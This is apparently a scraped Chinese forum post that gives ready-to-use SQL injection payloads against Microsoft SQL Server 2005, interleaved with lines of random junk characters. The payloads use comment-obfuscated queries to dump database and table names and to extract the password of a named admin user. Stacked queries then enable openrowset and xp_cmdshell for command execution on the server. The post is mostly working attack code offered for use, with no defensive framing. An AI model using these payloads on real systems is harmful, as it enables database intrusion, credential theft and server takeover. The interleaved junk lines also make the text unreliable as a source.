7 y @ ?+ t' X1 Y9 i, p; C+ e1 Z- O
$ ` _6 W: i% k! k0 Z' S
$ @& q1 o) t: P" O: E) }[Copy to clipboard]CODE:5 w+ u' N3 }& ]7 K2 g# ?
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--5 b. `8 n0 E/ m. c! L; f" P$ o8 ^
' |& g' v3 V: W: J- r+ V
爆表语句,somedb部份是所要列的数据库,红色数字1累加
" U+ K0 b6 c9 V! u; {+ w9 i/ {, g) |5 L9 a( A; t* P( s
- V0 P/ W/ V; t. J- V( j- N[Copy to clipboard]CODE:
0 @ W4 Z' t. w- k* d. F/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
/ A8 Q) M" r: m5 V' F8 T$ M0 j- P# z# W5 p+ N# D
爆字段语句,爆表admin里user='icerover'的密码段5 s! ^6 R( ]& _" }- }' d. o
0 b( k4 X' L1 n7 T* @ L# x
1 w \8 z( a `1 I3 y- A
[Copy to clipboard]CODE:
8 x. S, h4 F G**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--
" ]7 f2 p: O4 y
9 q1 {. Q! {! |3 W" o- F3 nmssql2005默认没有开xp_cmdshell的,openrowset也不能用
, Q! Z8 H& x" ]如果是sa权限,可以这样来开启
4 r M1 Z O0 T4 X0 K! t! o: S开启openrowset I. }. w8 K N& j9 b4 i- j Z
" n' I4 X0 ]+ j2 K
$ ~8 c2 }& `+ }& N0 A' ?% \& r/ h[Copy to clipboard]CODE:
\8 Q" g" f- A% g6 a3 _/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
% G3 t1 b5 v: c8 ?) Q, [/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--% J( m& e) C& h9 [4 `1 W
, @9 X% i/ B% [% W; H4 B
开启xp_cmdshell
8 j# F |) n/ B& E* @- `5 c, V8 A9 d
" t3 u9 j6 V1 g: j) |[Copy to clipboard]CODE:
4 ?2 q8 O) [; F# U# B7 DEXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
7 X; b- I0 a+ D6 O8 k: EEXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
. m/ H o4 E% Y: x$ A
$ L3 e- \; q4 E3 `" tok,over~~晚安
6 ]) b8 b. h# d; H4 T2 x& w |